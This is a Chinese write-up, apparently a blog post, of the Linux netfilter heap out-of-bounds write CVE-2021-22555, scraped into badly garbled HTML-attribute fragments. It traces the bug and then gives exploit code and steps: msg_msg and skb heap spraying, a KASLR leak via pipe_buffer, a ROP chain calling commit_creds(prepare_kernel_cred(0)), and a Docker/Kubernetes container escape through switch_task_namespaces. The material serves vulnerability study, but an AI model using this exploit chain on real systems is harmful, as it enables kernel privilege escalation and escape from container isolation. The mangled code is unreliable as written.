msgget()、msgsend()、msgrcv()、msgctl()="" 创建msg_msg结构,用于堆喷[10]="" linux系统调用:pipe()系统调用源码分析="" pipe堆喷[11]="" 一、netfilter简介="" netfiler="" 背景知识[12]="" linux内核协议栈="" 之="" ip="" 层的table、rule、match、target结构分析="" 背景知识[13]="" 容器逃逸方法="" 英文[14]="" 逃逸="" 中文"="">u.kernel.match;" compat_xt_entry_match="" *cm="(struct" *)m;-="" int="" pad,="" off="xt_compat_match_offset(match);+" u_int16_t="" msize="cm->u.user.match_size;" char="" name[sizeof(m->u.user.name)];="" -743,9="" +743,6="" match->compat_from_user(m->data,="" cm->data);="" else="" memcpy(m->data,="" cm->data,="" -="" sizeof(*cm));-="" pad="XT_ALIGN(match->matchsize)" match->matchsize;-="" if="" (pad="" 0)-="" memset(m->data="" +="" match->matchsize,="" 0,="" pad);="" m->u.user.match_size="msize;@@" -1116,7="" +1113,7="" xt_compat_target_from_user(struct="" xt_entry_target="" *t,="" xt_target="" *target="t->u.kernel.target;" compat_xt_entry_target="" *ct="(struct" *)t;-="" tsize="ct->u.user.target_size;" name[sizeof(t->u.user.name)];="" -1126,9="" +1123,6="" target->compat_from_user(t->data,="" ct->data);="" memcpy(t->data,="" ct->data,="" sizeof(*ct));-="" target->targetsize;-="" memset(t->data="" target->targetsize,="" t->u.user.target_size="tsize;保护机制:开启KASLR/SMEP/SMAP。利用总结:" (1)构造4096个msg_msg主消息(0x1000)和辅助消息(0x400),利用2字节溢出写0来修改某个主消息的msg_msg->m_list->next低2字节,使得两个主消息指向同一个辅助消息,将2字节溢出写0转化为uaf。="" (2)注意,spray对象采用skb对象,victim对象采用pipe()管道中的pipe_buf_operations结构。首先利用skb改大msg_msg->m_ts,泄露相邻辅助消息的msg_msg->m_list->prev(主消息地址,也即0x1000堆块地址);="" (3)再利用skb伪造msg_msg->next指向泄露的主消息地址,泄露msg_msg->m_list->next(辅助消息地址,也即0x400堆块地址);="" (4)再利用skb伪造msg_msg->m_list->next="" &="" prev,以避免再次释放辅助消息时访问无效链表地址导致崩溃;="" (5)使pipe_buffer结构占据释放后的0x400空闲块,利用读skb泄露其ops指针,也即内核基址;="" (6)利用skb篡改pipe_buffer->ops->release指针,劫持控制流。="" (7)如果需要进行docker或k8s容器逃逸,则rop链在执行commit_creds(prepare_kernel_cred(0))提权后,需执行switch_task_namespaces(find_task_by_vpid(1),="" init_nsproxy),以替换exp进程的命名空间。1.="" netfilter介绍简介:natfilter="" 是集成到linux内核协议栈中的一套防火墙系统。数据结构的关系:="" (1)netfilter="" 中有包含一些表(table),不同的表用来存储不同功能的配置信息,默认有4种table,还可以另外创建。="" (2)每个table="" 里有多个chain,chain表示对报文的拦截处理点。例如网络层ipv4有5个拦截点,对应5个chain:报文路由前-prerouting,需三层转发的报文-forward,本机生成的报文-output,本机接收的报文-input,路由后的报文-postrouting。="" (3)每个chain="" 包含一些用户配置的rule,一条rule包含了一个或多个匹配规则(match)和一个执行动作(target)。如果报文符合匹配规则后,需要根据该执行动作(target)来处理报文。标准的匹配元素包含源="" 目的ip地址、接收="" 发送设备、传输层协议这五个元素,标准的执行动作包含accept、drop、queue、return。四大功能(table):="" (1)对报文的过滤(对应filter表),包含3个chain—input="" output="" forward。="" (2)对报文的修改(对应mangle表),包含以上5个chain。="" (3)对会话的连接跟踪(connection="" track),包含2个chain,output="" prerouting。="" (4)网络地址转换(nat),包含3个chain,preroungin="" postroutin。table->chain->rule结构关系图示:在内核空间,每个cpu上维护了一份rule的拷贝(有多少个cpu,就有多少个entries)。这样做是为了减少锁的使用及增加硬件l1="" cache的命中次数,以空间换时间。table->chain->rule具体结构:表用="" xt_table="" xt_table_info结构表示;每条rule用ipt_entry结构表示;match匹配规则用xt_entry_match表示(用户空间和内核共享同一结构);target执行动作用xt_entry_target表示(用户空间和内核共享同一结构)。="" (1)xt_table="" ——="" 表struct="" list_head="" list;="" *="" what="" hooks="" you="" will="" enter="" on="" unsigned="" valid_hooks;="" xt_table_info="" *private;="" 指向真正存储rule的结构体="" set="" this="" to="" this_module="" are="" module,="" otherwise="" null="" module="" *me;="" u_int8_t="" af;="" 表所属的协议族="" priority;="" hook="" order="" called="" when="" table="" is="" needed="" in="" the="" given="" netns="" (*table_init)(struct="" *net);="" name[xt_table_maxnamelen];="" 表的名字,如filter="" nat="" mangle};struct="" size;="" 表中所有规则rule占用的内存大小="" number;="" 表中存的rule个数="" initial_entries;="" 初始化表时创建的默认rule个数="" hook_entry[nf_inet_numhooks];="" 各个hook(chain)在表中的偏移量="" underflow[nf_inet_numhooks];="" 各个hook(chain)中默认规则在表中的偏移量="" stacksize;="" ***jumpstack;="" entries[]="" __aligned(8);="" 数组,存储各个cpu上自己rule拷贝的内存首地址};="" (2)ipt_entry="" 规则rulestruct="" ipt_entry{="" ipt_ip="" ip;="" 规则的基本匹配条件,源ip="" 目的ip、输入="" 输出网卡、协议="" nfcache;="" target_offset;="" ipt_entry="" matches="" 这条规则的target距离规则起点的偏移量="" next_offset;="" target="" 下一条规则距离这条规则起点的偏移量="" comefrom;="" xt_counters="" counters;="" 计数器,每条规则都有计数器,一旦skb匹配这条规则,那么计数器累加,计数器有字节数和包数两个统计量="" elems[0];="" 这条规则中的match和target,因为不确定到底有几个match,所以使用零长度数组};="" (3)xt_entry_match="" 匹配规则match,用户空间和内核空间共享match_size和data字段#define="" ipt_entry_match="" xt_entry_matchstruct="" xt_entry_match{="" union="" 用户态和内核态使用不同的结构表示match。它们的第一个成员都是match的总大小="" a.="" 用户态="" match_size;="" name[xt_function_maxnamelen-1];="" 该match的版本,通过match的名称与版本信息可以唯一确定一个match。="" revision;="" }="" user;="" b.="" 内核态="" *match;="" 指向扩展的match信息(每一个扩展match都是一个xt_match对象)。根据ipt_entry_match.u.user.name找到对应的match,将ipt_entry_match.u.kernel.match指针指向系统中已注册的struct="" xt_match对象="" kernel;="" 整个match占用的内存空间="" u;="" data[0];};="" (4)xt_entry_target="" 执行动作target,用户空间和内核空间共享match_size字段#define="" ipt_entry_target="" xt_entry_targetstruct="" xt_entry_target{="" target_size;="" *target;="" target信息,如果target->target()函数指针为null,那么是一个标准target,否则为扩展target。根据ipt_entry_target.u.user.name找到对应的target,将ipt_entry_target.u.kernel.target指针指向系统中已注册的struct="" xt_target对象="" data[0];="" 对于扩展target,该指针指向内容会传给其target()回调,这个指针内容由扩展target自由使用,只要内核态和用户态保持一致就可以};应用层与netfilter的通信机制:netfilter和用户空间进行通信使用的是两个socket的系统调用,setsockopt()和getsockopt(),把用户空间的地址传给内核,内核使用copy_from_user()="" 和="" copy_to_user()来进行数据的传递。基于setsockopt和getsockopt系统调用的机制,netfilter提供了一个基本框架,允许不同协议的防火墙来自己实现自己和用户空间的通信函数,涉及两个函数,调用nf_register_sockopt()将nf_sockopt_ops结构实例注册到netfilter管理的全局链表上,调用nf_sockopt_find()查找对应命令字的nf_sockopt_ops结构。2.="" 漏洞分析2-1="" 漏洞原因漏洞:xt_compat_target_from_user()函数,将xt_entry_match->data指向的缓冲区进行8字节对齐,不足8字节的空间清0,但如果target->targetsize没有8字节对齐,这里会越界将pad个字节清0。target->targetsize并不由用户直接控制,可以通过选择不同的target结构体类型来控制targetsize大小。#ifdef="" config_compatint="" xt_compat_target_offset(const="" *target){="" csize="target->compatsize" ?="" :="" target->targetsize;="" return="" xt_align(target->targetsize)="" compat_xt_align(csize);}export_symbol_gpl(xt_compat_target_offset);void="" *size){="" *)t;="" ct="t的副本" t="*dstptr;" memcpy(t,="" ct,="" sizeof(*ct));="" 拷贝到="" dstptr="" (target->compat_from_user)="" [1]="" 对缓冲区进行8字节对齐,target->targetsize="" 用来指定t->data实际使用长度="" 0)="" [2]="" 将不足8字节的剩余空间清0,存在越界写0="" strlcpy(name,="" target->name,="" sizeof(name));="" module_put(target->me);="" strncpy(t->u.user.name,="" name,="" sizeof(t->u.user.name));="" *size="" *dstptr="" 漏洞触发流程跟踪ip_tables模块初始化流程:ip_tables_init()="" nf_register_sockopt()="" nf_sockopt_ops="" ipt_sockopts="" 注册setsockopt。这样用户调用setsockopt时,才能找到对应的处理函数,也即do_ipt_set_ctl()。static="" __init="" ip_tables_init(void){="" ret;="" ret="register_pernet_subsys(&ip_tables_net_ops);" array_size(ipt_builtin_tg));="" array_size(ipt_builtin_mt));="" register="" setsockopt="" <-------------="" [...="" ...]="" ret;}static="" .pf="PF_INET," .set_optmin="IPT_BASE_CTL," .set_optmax="IPT_SO_SET_MAX+1," .set="do_ipt_set_ctl," <---------------="" do_ipt_set_ctl()="" .get_optmin="IPT_BASE_CTL," .get_optmax="IPT_SO_GET_MAX+1," .get="do_ipt_get_ctl," .owner="THIS_MODULE,};漏洞触发流程:setsockopt(s," sol_ip,="" ipt_so_set_replace,="" ...)="" nf_setsockopt()="" compat_do_replace()="" translate_compat_table()="" compat_copy_entry_from_user()="" xt_compat_match_from_user="" xt_compat_target_from_user()总之就是将用户传入的rule规则进行转换存储时,出现堆溢出写0。构造用户参数data,通过控制pad大小,控制溢出字节数。data->ipt_replace->size="0xFB6,导致分配sizeof(xt_table_info)" ipt_replace->size="0x40+0xfB6" =="" 0xff6的堆块,转换用户传入规则时错误对齐,刚好溢出覆盖下一个0x1000堆块的前2="" 字节,造成指针的指向错误。用户参数:综上,用户传入的参数结构为="" ipt_replace="" xt_entry_target。注意,="" compat_ipt_replace="" 等同于="" 结构。="" do_ipt_set_ctl()static="" do_ipt_set_ctl(struct="" sock="" *sk,="" cmd,="" sockptr_t="" arg,="" len){="" (!ns_capable(sock_net(sk)->user_ns,="" cap_net_admin))="" 需满足="" cap_net_admin="" 权限,可以在启动脚本赋予exp权限,或者支持namespace就行="" -eperm;="" switch="" (cmd)="" case="" ipt_so_set_replace:#ifdef="" config_compat="" 编译内核时需设置="" (in_compat_syscall())="" len);="" <-----------------="" else#endif="" ...="" ret;}="" 分配="" 结构,="" 拷贝用户参数static="" compat_do_replace(struct="" *net,="" tmp;="" *newinfo;="" *loc_cpu_entry;="" *iter;="" (copy_from_sockptr(&tmp,="" sizeof(tmp))="" !="0)" [3]="" 获取size参数,用户参数开头是="" (内核)变长结构,等同于="" (用户)结构="" -efault;="" overflow="" check="" (tmp.num_counters="" sizeof(struct="" xt_counters))="" -enomem;="" -einval;="" tmp.name[sizeof(tmp.name)-1]="0;" newinfo="xt_alloc_table_info(tmp.size);" [4]="" 分配空间="" kvmalloc(sz,="" gfp_kernel_account);="" 分配大小="" sz="sizeof(xt_table_info)" (0xfb8="" 0x2)="0xFF8" 0x2="" 注意两点,一是分配采用="" gfp_kernel_account="" 标志(与gfp_kernel相同,除了分配记入kmemcg),二是分配的堆块属于0x1000。="" 分配之后赋值="" xt_table_info->size="ipt_replace->size" 0xfb6="" (!newinfo)="" loc_cpu_entry="newinfo->entries;" (copy_from_sockptr_offset(loc_cpu_entry,="" sizeof(tmp),="" [5]="" 拷贝用户参数,="" 从偏移arg+sizeof(ipt_replace)="" 开始拷贝,跳过="" 结构="" tmp.size)="" goto="" free_newinfo;="" &newinfo,="" &loc_cpu_entry,="" &tmp);="" [6]="" <--------------="" (ret="" tmp.name,="" tmp.valid_hooks,="" newinfo,="" tmp.num_counters,="" compat_ptr(tmp.counters));="" 分配新的="" 结构,进行转换static="" translate_compat_table(struct="" **pinfo,="" **pentry0,="" *compatr){="" i,="" j;="" *newinfo,="" *info;="" *pos,="" *entry0,="" *entry1;="" compat_ipt_entry="" *iter0;="" repl;="" info="*pinfo;" entry0="*pentry0;" size="compatr->size;" info->number="compatr->num_entries;" 传入的是1="" [7]="" 转换后存入="" out_unlock;="" newinfo->number="compatr->num_entries;" for="" (i="0;" i="" <="" nf_inet_numhooks;="" i++)="" newinfo->hook_entry[i]="compatr->hook_entry[i];" newinfo->underflow[i]="compatr->underflow[i];" entry1="newinfo->entries;" pos="entry1;" xt_entry_foreach(iter0,="" entry0,="" compatr->size)="" compat_copy_entry_from_user(iter0,="" &pos,="" &size,="" [8]="" 转换entry结构,从32位到64位,传给="" entry1);="" ...}="" 旧的="" 拷贝到新的="" 结构static="" compat_copy_entry_from_user(struct="" *e,="" *size,="" *base){="" *t;="" *de;="" origsize;="" h;="" *ematch;="" origsize="*size;" de="*dstptr;" memcpy(de,="" e,="" ipt_entry));="" [9]="" 先拷贝="" memcpy(&de->counters,="" &e->counters,="" sizeof(e->counters));="" 包和字节计数="" ipt_entry);="" ipt_entry)="" compat_ipt_entry);="" xt_ematch_foreach(ematch,="" e)="" xt_compat_match_from_user(ematch,="" dstptr,="" size);="" [10]="" 再拷贝="" match->matchsize="4," 拷贝完成后*dstptr+="msize" 0xffff888006e010b0+0xf2a="FFFF888006E01FDA," size+="off" 0xfba="" de->target_offset="e->target_offset" (origsize="" *size);="" target_offset="" 原来是="" 结构的大小,现在减小了="" 4="" xt_compat_target_from_user(t,="" [11]="" <------------="" 漏洞函数:="" 如下所示="" de->next_offset="e->next_offset" xt_compat_target_from_user()="" 拷贝="" 结构,对齐导致溢出void="" 拷贝0x20="" [12]="" t+0x20+4="" 处填充pad个0,也就是="" 0xffff888006e01ffe处填4个0,溢出2个字节,="" <-------------------------="" 溢出点="" 0xfbe="" 变长结构,entries为用户传入,每个entries="" 包含="" xt_entry_target,第一节中已经介绍过。struct="" entries="" 总大小,="" 不包括="" 结构大小0x40="" 数目="" 每个`entries`="" `ipt_entry`="" `xt_entry_match`="" `xt_entry_target`};3.="" 漏洞利用msg_msg结构的创建与读取,也即消息的发送与接收,可以参考文章="" linux内核中利用msg_msg结构实现任意地址读写="" 中对msgsnd()和msgrcv()源码的分析过程。3-1="" 漏洞转化:2字节溢出写0转化为uaf(1)调用msgget()创建4096个消息队列消息队列数目没有限制,但创建越多,exp越稳定="" (int="" num_msqids;="" ((msqid[i]="msgget(IPC_PRIVATE," ipc_creat="" |="" 0666))="" perror("[-]="" msgget");="" err_no_rmid;="" }(2)主消息填充目的:填充4096个主消息,消息大小为0x1000,以得到一个整齐的空间布局,使msg_msg结构体尽可能相邻。int="" write_msg(int="" msqid,="" *msgp,="" size_t="" msgsz,="" long="" msgtyp)="" *(long="" *)msgp="msgtyp;" (msgsnd(msqid,="" msgp,="" msgsz="" sizeof(long),="" msgsnd");="" -1;="" 0;}="" printf("[*]="" spraying="" primary="" messages...\n");="" memset(&msg_primary,="" sizeof(msg_primary));="" *(int="" *)&msg_primary.mtext[0]="MSG_TAG;" *)&msg_primary.mtext[4]="i;" (write_msg(msqid[i],="" &msg_primary,="" sizeof(msg_primary),="" mtype_primary)="" err_rmid;="" }int="" msgsend(int="" msgid,="" *msg_ptr,="" msg_sz,="" msgflg)msgid——消息队列标识符;msg_ptr——指向结构体{mtype,="" mtext};msg_ptr.mtext[0]="MSG_TAG——" 标识该内存区域为堆喷控制;msg_ptr.mtext[4]="i——" 标识该内存区id,以便识别内存区。(3)辅助消息填充为每个消息队列添加辅助消息,消息大小为0x400,消息标识与主消息对应。="" secondary="" memset(&msg_secondary,="" sizeof(msg_secondary));="" *)&msg_secondary.mtext[0]="MSG_TAG;" *)&msg_secondary.mtext[4]="i;" &msg_secondary,="" sizeof(msg_secondary),="" mtype_secondary)="" }(4)释放部分主消息目的:释放第1024、2048、3072个主消息,获得0x1000内存空洞,希望被xt_table_info结构获得,这样就能利用2字节溢出写0。int="" read_msg(int="" (msgrcv(msqid,="" msgtyp,="" msgrcv");="" creating="" holes="" (read_msg(msqid[i],="" }(5)触发漏洞利用2字节溢出,将相邻的msg_msg结构体中msg_msg->m_list->next末尾两字节覆盖为0,="" 使得该主消息的msg_msg->m_list->next指向其他主消息的辅助消息。目的:使某个内存被两个主消息引用。="" triggering="" out-of-bounds="" write...\n");="" (trigger_oob_write(s)="" err_rmid;(6)定位发生错误的消息队列索引方法:直接查看消息内存,如果主消息和辅助消息队列的标识不同,则表示主消息msg_msg->m_list->next成员被修改。为保证查看消息时,避免消息被释放,需使用msg_copy标志接收消息。="" searching="" corrupted="" message...\n");="" &&="" %="" hole_step)="=" continue;="" (peek_msg(msqid[i],="" 1)="" (*(int="" printf("[-]="" error="" could="" not="" corrupt="" any="" message.\n");="" fake_idx="i;" real_idx="*(int" *)&msg_secondary.mtext[4];="" break;="" (fake_idx="=" -1="" -1)="" fake_idx's="" message="" has="" next="" pointer;="" wrongly="" pointing="" real_idx's="" message.="" printf("[+]="" fake_idx:="" %x\n",="" fake_idx);="" real_idx:="" real_idx);(7)spray对象和victim对象占据msg_msg使用包含函数指针的victim结构体和spray结构体(skb)来占据msg_msg。假设现在主消息1和主消息2的msg_msg->m_list->next指向同一辅助消息。="" 1.主消息1放弃辅助消息msg_msg,="" skb占据msg_msg="" 2.主消息2放弃辅助消息msg_msg,="" victim结构占据msg_msg="" 3.此时skb与victim结构占据同一内存空间="" 4.修改skb劫持victim结构内函数指针="" 5.触发victim结构函数指针,劫持控制流="" 但是注意到当实现步骤2时,必须伪造msg_msg->m_list->next成员,如果此时主消息2释放msg_msg,辅助消息会被从循环链表msg_msg->m_list中去除,也就是说此阶段会涉及到对于msg_msg->m_list->next的读写,因为开启了smap保护机制,所以在用户态伪造该字段无意义,内核在此处会检查到smap错误,利用失败,所以接下来需要绕过smap。3-2="" 避免崩溃:伪造msg_msg->m_list->next="" prev指针(1)释放被重复引用的辅助消息="" freeing="" real="" (read_msg(msqid[real_idx],="" err_rmid;(2)skb堆喷并伪造辅助消息注意:伪造m_ts字段(最大化),表示消息长度,以便越界读取,泄露地址。void="" build_msg_msg(struct="" msg_msg="" *msg,="" uint64_t="" m_list_next,="" m_list_prev,="" m_ts,="" next)="" msg->m_list_next="m_list_next;" msg->m_list_prev="m_list_prev;" msg->m_type="MTYPE_FAKE;" msg->m_ts="m_ts;" msg->next="next;" msg->security="0;}int" spray_skbuff(int="" ss[num_sockets][2],="" *buf,="" size)="" num_sockets;="" j="0;" num_skbuffs;="" j++)="" (write(ss[i][0],="" buf,="" write");="" fake="" memset(secondary_buf,="" sizeof(secondary_buf));="" build_msg_msg((void="" *)secondary_buf,="" 0x41414141,="" 0x42424242,="" page_size="" msg_msg_size,="" 0);="" (spray_skbuff(ss,="" secondary_buf,="" sizeof(secondary_buf))="" err_rmid;(3)泄露相邻辅助消息->主消息的堆地址(0x1000堆块地址)由于m_ts变大,可以越界读取相邻辅助消息的消息头,主要是泄露msg_msg->m_list->next和msg_msg->m_list->prev(相邻辅助消息的主消息堆地址,记为kheap_addr)。="" use="" read="" out-of-bounds.="" leaking="" adjacent="" (peek_msg(msqid[fake_idx],="" &msg_fake,="" sizeof(msg_fake),="" leak="" valid.="" *)&msg_fake.mtext[secondary_size]="" contains="" pointer="" msg="(struct" *)&msg_fake.mtext[secondary_size="" msg_msg_size];="" kheap_addr="msg->m_list_next;" (kheap_addr="" (primary_size="" 1))="" kheap_addr:="" %"="" prix64="" "\n",="" kheap_addr);(4)泄露fake辅助消息的堆地址(0x400堆块地址)释放skb,重新填充该fake辅助消息,msg_msg->next="kheap_addr,因此,某个主消息成了该辅助消息的segment(msg_msgseg结构)。这样就能越界读取主消息的头,主消息的msg_msg->m_list->next指向与之对应的辅助消息,也即fake辅助消息相邻的辅助消息,该内存地址-0x400,即为fake辅助消息的真实地址。再次释放skb,将fake辅助消息的msg_msg->m_list->next填充为该fake辅助消息的真实地址,即可再次释放fake辅助消息时避免SMAP崩溃。" free_skbuff(ss,="" put="" at="" its="" content.="" assumes="" zero="" bytes="" before="" kheap_addr.="" sizeof(msg_fake.mtext),="" msg_msgseg_size);="" fist="" 8="" must="" be="" from="" *)&msg_fake.mtext[page_size]="" *)&msg_fake.mtext[page_size="" (secondary_size="" calculate="" address="" of="" kheap_addr);3-3="" 绕过kaslr目标:泄露内核基址。方法:伪造fake辅助消息,msg_msg->m_list->next="=" msg_msg->m_list->pre="=" fake辅助消息;利用主消息2释放辅助消息,使用pipefd函数分配pipe_buffer结构体重新占据fake辅助消息堆块;通过读skb泄露anon_pipe_buf_ops地址,绕过kaslr。pipe_buffer结构体中ops成员指向全局变量anon_pipe_buf_ops。为什么不用tty_struct="" 来泄露?="" m_list_next="" m_list_prev="" so="" that="" list_del()="" possible.="" kheap_addr,="" sk_buff="" data="" buffer...\n");="" (read_msg(msqid[fake_idx],="" mtype_fake)="" pipe_buffer="" objects...\n");="" num_pipefds;="" (pipe(pipefd[i])="" pipe");="" write="" something="" populate="" pipe_buffer.="" (write(pipefd[i][1],="" "pwn",="" 3)="" and="" object...\n");="" (read(ss[i][1],="" read");="" (*(uint64_t="" *)&secondary_buf[0x10]="" pipe_buffer_ops="*(uint64_t" *)&secondary_buf[0x10];="" kbase_addr="pipe_buffer_ops" anon_pipe_buf_ops;="" anon_pipe_buf_ops:="" pipe_buffer_ops);="" kbase_addr:="" kbase_addr);3-4="" 劫持控制流此时skb与pipe_buffer占据同一块内存,利用skb伪造pipe_buffer->ops指向本堆块,再伪造pipe_buffer->ops->release指向第1个ropgadget,劫持控制流。="" buf="(struct" *)&secondary_buf;="" buf->ops="kheap_addr" 0x290;="" ops="(struct" pipe_buf_operations="" *)&secondary_buf[0x290];#ifdef="" kernel_cos_5_4_89="" rax="" points="" &buf->ops.="" rcx="" &buf.="" ops->release="kbase_addr" push_rax_jmp_qword_ptr_rcx;#elif="" kernel_ubuntu_5_8_0_48="" rsi="" push_rsi_jmp_qword_ptr_rsi_39;#endif="" build_krop(secondary_buf,="" kbase_addr,="" 0x2b0);="" trigger="" pipe_release().="" releasing="" (close(pipefd[i][0])="" close");="" (close(pipefd[i][1])="" }rop流程:调用pipe_buffer->ops时,rsi指向pipe_buffer地址,所以需构造rop将rsi赋值给rsp="" (1)没有找到类似mov="" rsp,="" rsi和push="" rsi;="" pop="" rsp的gadget,只能先伪造pipe_buffer->ops函数表,pipe_buffer->ops->release指向gadget—push="" jmp="" qword="" ptr="" [rsi="" 0x39]="" (2)在rsi+0x39处(pipe_buffer+0x39处)放置gadget—pop="" rsp;="" (3)在rsi处(pipe_buffer处)放置gadget—add="" 0xd0;="" 避免破坏pipe_buffer+0x10="" 0x18="" (4)在rsi+0xd8处(pipe_buffer+0xd8处)继续布置rop链="" (5)先将rbp保存到rsi+0x2b0处(pipe_buffer+0x2b0处),注意,enter="" 指令等同于="" push="" rbp;="" mov="" rbp,="" rsp="" rbp="rsp,enter" 8,="" sub="" save="" scratchpad_addr.="" *rop++="kbase_addr" enter_0_0_pop_rbx_pop_r12_pop_rbp_ret;="" ;="" rbx="" r12="" mov_qword_ptr_r12_rbx_pop_rbx_pop_r12_pop_rbp_ret;="" [r12],="" rbx;="" r12;="" r13;="" r13="" (6)执行commit_creds(prepare_kernel_cred(0))提权="" commit_creds(prepare_kernel_cred(null))="" pop_rdi_ret;="" rdi;="" rdi="" prepare_kernel_cred;="" pop_rcx_ret;="" rcx;="" cmp_rcx_4_jne_pop_rbp_ret;="" cmp="" rcx,="" 4;="" jne="" 0x274579;="" mov_rdi_rax_jne_xor_eax_eax_ret;="" rdi,="" rax;="" 0x788d41;="" xor="" eax,="" eax;="" commit_creds;="" (7)从docker、k8s容器(kubernetes)中逃逸,参考="" route="" root:="" container="" escape="" using="" exploitation="" 利用="" linux="" 内核漏洞实现="" docker="" 逃逸。本环境没有用到容器,这一步不执行也能提权。="" 如果linux运行在容器环境中,即使提权成功,由于所在的命名空间权限受限,即使是root也会受限(如文件系统只读等)。方法1,可以将初始进程(pid="1)的task_struct->fs(存放着进程根目录及工作目录)复制到exp所在的进程,就能将exp进程的根目录设置到宿主机中了,但这种方法可能环境变量不对(需采用完整路径执行程序);方法2,task_struct->nsproxy指向当前进程的命名空间,可以用系统初始化时的全局命名空间init_nsproxy替换exp所在进程的nsproxy,执行switch_task_namespaces(find_task_by_vpid(1)," init_nsproxy)即可。="" switch_task_namespaces(find_task_by_vpid(1),="" init_nsproxy)="" find_task_by_vpid;="" find_task_by_vpid="" pop_rsi_ret;="" init_nsproxy;="" init_nsproxy="" switch_task_namespaces;="" switch_task_namespaces="" (8)恢复rbp="" rsp,rsi+0x2b0处(pipe_buffer+0x2b0处)="" load="" scratchpad_addr="" resume="" execution.="" pop_rbp_ret;="" 0xa;="" push_qword_ptr_rbp_a_pop_rbp_ret;="" [rbp="" 0xa];="" mov_rsp_rbp_pop_rbp_ret;="" 3-5="" 提权成功4.="" 知识补充4-1="" victim对象pipe_buffer="" 对象="" :包含全局函数表指针ops。struct="" page="" *page;="" 读写pipe时,="" 实际上是读写page地址="" offset,="" len;="" *ops;="" <--------="" 函数表="" flags;="" private;};struct="" (*confirm)(struct="" pipe_inode_info="" *,="" *);="" 确保="" pipe="" buffer="" 中的数据有效,有效则返回0,无效则返回负值错误码。="" (*release)(struct="" 释放="" bool="" (*try_steal)(struct="" (*get)(struct="" *);};pipe="" 操作函数表:pipefifo_fopsconst="" file_operations="" pipefifo_fops="{" .open="fifo_open," <-------="" open="" .llseek="no_llseek," .read_iter="pipe_read," .write_iter="pipe_write," .poll="pipe_poll," .unlocked_ioctl="pipe_ioctl," .release="pipe_release," release="" .fasync="pipe_fasync," .splice_write="iter_file_splice_write,};pipe_buffer分配:alloc_pipe_info()" 分配大小为0x280(默认16个page,16*0x28="0x280),所以位于0x400堆块中。分配调用链:(1)pipe()" do_pipe2()="" __do_pipe_flags()="" create_pipe_files()="" get_pipe_inode()="" alloc_pipe_info()="" (2)fifo_open()="" alloc_pipe_info()struct="" *alloc_pipe_info(void){="" *pipe;="" pipe_bufs="PIPE_DEF_BUFFERS;" user_struct="" *user="get_current_user();" user_bufs;="" max_size="READ_ONCE(pipe_max_size);" pipe_inode_info),="" pipe->bufs="kcalloc(pipe_bufs," pipe_buffer),="" 16*sizeof(pipe_buffer)="16*0x28" 370,="" 注意也是="" 标志="" null;}pipe_buffer释放:pipe_release()="" put_pipe_info()="" free_pipe_info="" pipe_buf_release()="" 调用pipe_buffer->ops->release="" 函数,可劫持控制流。static="" inline="" pipe_buf_release(struct="" *pipe,="" *buf){="" *ops="buf->ops;" ops->release(pipe,="" buf);="" 劫持控制流}4-2="" spray对象skb喷射:采用socketpair()创建一对无名的、相互连接的套接字,int="" socketpair(int="" domain,="" type,="" protocol,="" sv[2]),函数成功则返回0,="" 创建好的套接字分别是sv[0]和sv[1],失败则返回-1。可以往sv[0]中写,从sv[1]中读;或者从sv[1]中写,从sv[0]中读,相关函数为write()和read()。也可以调用sendmsg()和recvmsg()来发送和接收数据,用户参数是msghdr结构。本exp是采用write()和read()进行堆喷和释放的。size:0x280="" 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops。创建链:write="" ksys_write()="" vfs_write()="" new_sync_write()="" call_write_iter()="" sock_write_iter()="" sock_sendmsg()="" sock_sendmsg_nosec()="" unix_stream_sendmsg()="" sock_alloc_send_pskb()="" alloc_skb_with_frags()="" alloc_skb()="" __alloc_skb()read链:read="" ksys_read()="" vfs_read()="" new_sync_read()="" call_read_iter()="" sock_read_iter()="" sock_recvmsg()="" sock_recvmsg_nosec()="" unix_stream_recvmsg()="" unix_stream_read_generic()="" unix_stream_read_actor()="" skb_copy_datagram_msg()="" skb_copy_datagram_iter()="" __skb_datagram_iter()write链:="" skb_copy_datagram_from_iter()static="" ssize_t="" sock_write_iter(struct="" kiocb="" *iocb,="" iov_iter="" *from){="" file="" *file="iocb->ki_filp;" socket="" *sock="file->private_data;" msghdr="" *from,="" 组装msg结构,="" 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样)="" .msg_iocb="iocb};" res;="" (iocb->ki_pos="" -espipe;="" (file->f_flags="" o_nonblock="" ||="" (iocb->ki_flags="" iocb_nowait))="" msg.msg_flags="MSG_DONTWAIT;" (sock->type="=" sock_seqpacket)="" res="sock_sendmsg(sock," &msg);="" *from="msg.msg_iter;" res;}int="" skb_copy_datagram_from_iter(struct="" *skb,="" start="skb_headlen(skb);" skb->len="" skb->data_len;="" copy="start" offset;="" 是线性数据区的剩余空间大小="" *frag_iter;="" 拷贝到线性数据区="" skb->data="" (copy="" len)="" (copy_from_iter(skb->data="" copy,="" from)="" fault;="" ((len="" 0;="" offset="" 拷贝到非线性数据区="" skb->frags="" skb_shinfo(skb)->nr_frags;="" end;="" skb_frag_t="" *frag="&skb_shinfo(skb)->frags[i];" warn_on(start="" end="start" skb_frag_size(frag);="" ((copy="end" offset)="" copied;="" copied="copy_page_from_iter(skb_frag_page(frag)," skb_frag_off(frag)="" start,="" from);="" (copied="" (!(len="" skb->fraglist="" skb_walk_frags(skb,="" frag_iter)="" (iter="skb_shinfo(skb)->frag_list;" iter;="" iter="iter->next)" frag_iter->len;="" (skb_copy_datagram_from_iter(frag_iter,="" from,="" copy))="" (!len)="" ...}export_symbol(skb_copy_datagram_from_iter);4-3="" gfp_kernel_account标志为了使xt_table_info漏洞对象、spray对象、victim对象、占位对象位于同一cache,由于漏洞对象是用gfp_kernel_account标志分配的,所以其他对象也应该用gfp_kernel_account标志来分配(原作者指出,在linux="" 5.9之前,不同的slab被用于计数)。victim对象——pipe_buffer结构和占位对象——msg_msg结构(参见文章[7]中的分析)都是用gfp_kernel_account标志来分配的。根据文章="" pwn="" –="" uaf="" 中所述,slab内存管理机制对内核对象的类型十分挑剔,只有类型和大小都完全一致的对象才能重用其空间;但是slub对对象类型就没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。本文我编译时默认采用的slub内存管理。4-4="" 64位系统下编译32位程序#="" gcc="" -m32="" 选项="" $="" sudo="" apt-get="" update$="" purge="" libc6-dev$="" install="" libc6-dev-i386参考[1]="" https:="" nvd.nist.gov="" vuln="" detail="" cve-2021-22555="" 漏洞公告[2]="" cve-2021-22555:="" turning="" \x00\x00="" into="" 10000$="" writeup英文[3]="" cve-2021-22555-exploit="" exp[4]="" 